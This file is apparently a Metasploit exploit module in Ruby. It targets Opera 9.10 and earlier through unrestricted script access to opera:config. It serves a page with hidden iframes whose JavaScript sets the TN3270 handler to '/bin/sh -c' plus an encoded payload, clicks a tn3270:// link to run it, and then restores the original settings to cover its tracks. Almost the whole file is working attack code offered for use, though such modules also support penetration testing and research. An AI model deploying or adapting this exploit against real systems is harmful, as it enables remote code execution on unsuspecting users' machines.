138 lines
4.3 KiB
Ruby
138 lines
4.3 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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#
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# This module acts as an HTTP server
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#
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::Remote::BrowserAutopwn
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autopwn_info({
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:ua_name => HttpClients::OPERA,
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:ua_maxver => "9.10",
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:os_name => [ OperatingSystems::Match::WINDOWS, OperatingSystems::Match::LINUX ],
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:javascript => true,
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:rank => ExcellentRanking, # reliable cmd exec, cleans up after itself
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:vuln_test => nil,
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})
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def initialize(info = {})
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super(update_info(info,{
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'Name' => 'Opera 9 Configuration Overwrite',
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'Description' => %q{
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Opera web browser in versions <= 9.10 allows unrestricted script
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access to its configuration page, opera:config, allowing an
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attacker to change settings and potentially execute arbitrary
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code.
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},
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'License' => BSD_LICENSE,
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'Author' =>
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[
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'egypt', # stolen from mpack
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],
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'References' =>
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[
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[ 'OSVDB', '66472'],
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],
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'Payload' =>
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{
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'EXITFUNC' => 'process',
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'Space' => 2048,
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'DisableNops' => true,
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'BadChars' => " ",
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},
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'Platform' => %w{ unix },
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'Targets' =>
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[
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#[ 'Opera < 9.10 Windows',
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# {
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# 'Platform' => 'win',
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# 'Arch' => ARCH_X86,
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# }
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#],
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[ 'Opera < 9.10 Unix Cmd',
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{
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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}
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],
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],
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# Not sure when this was disclosed but it's been known since at
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# least March 5, 2007, since that's the release date on the version
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# of mpack I stole this from.
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'DisclosureDate' => 'Mar 5 2007',
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'DefaultTarget' => 0
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}))
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end
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def on_request_uri(cli, request)
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print_status("Got request #{request.uri}")
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case request.uri
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when get_resource
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print_status("Sending #{self.name}")
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content = "<body><script>"
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content << generate_evil_js(cli, request)
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content << "</script></body>"
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headers = { 'Content-Type' => 'text/html' }
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else
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print_status("404ing request for #{request.uri}")
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send_not_found(cli)
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return
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end
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send_response_html(cli, content, headers)
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print_status("Done with request #{request.uri}")
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end
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def generate_evil_js(cli, request)
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# There are a bunch of levels of quotes here, so the easiest way to
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# make everything line up is to hex escape the command to run
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p = regenerate_payload(cli).encoded
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send_not_found(cli) && return if not p
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shellcode = Rex::Text.to_hex(p, "%")
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js = <<ENDJS
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blank_iframe = document.createElement('iframe');
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blank_iframe.src = 'about:blank';
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blank_iframe.setAttribute('id', 'blank_iframe_window');
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blank_iframe.setAttribute('style', 'display:none');
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document.body.appendChild(blank_iframe);
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blank_iframe_window.eval(
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"config_iframe = document.createElement('iframe');" +
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"config_iframe.setAttribute('id', 'config_iframe_window');" +
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"config_iframe.src = 'opera:config';" +
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"document.body.appendChild(config_iframe);" +
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"cache_iframe = document.createElement('iframe');" +
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"cache_iframe.src = 'opera:cache';" +
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"cache_iframe.onload = function ()" +
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"{" +
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" config_iframe_window.eval" +
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" (\\"" +
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" old_handler = opera.getPreference('Network','TN3270 App');" +
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" old_pref = opera.getPreference('User Prefs','Run TN3270 In Terminal');" +
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" shellcode = '#{shellcode}';" +
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" opera.setPreference('Network','TN3270 App','/bin/sh -c ' + unescape(shellcode));" +
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" opera.setPreference('User Prefs','Run TN3270 In Terminal','0');" +
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" app_link = document.createElement('a');" +
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" app_link.setAttribute('href', 'tn3270://#{Rex::Text.rand_text_alpha(rand(5)+5)}');" +
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" app_link.click();" +
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" setTimeout(function () {opera.setPreference('Network','TN3270 App',old_handler)},1000);" +
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" setTimeout(function () {opera.setPreference('User Prefs','Run TN3270 In Terminal',old_pref)},1000);" +
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" \\");" +
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"};" +
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"document.body.appendChild(cache_iframe);" +
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"");
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ENDJS
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end
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end
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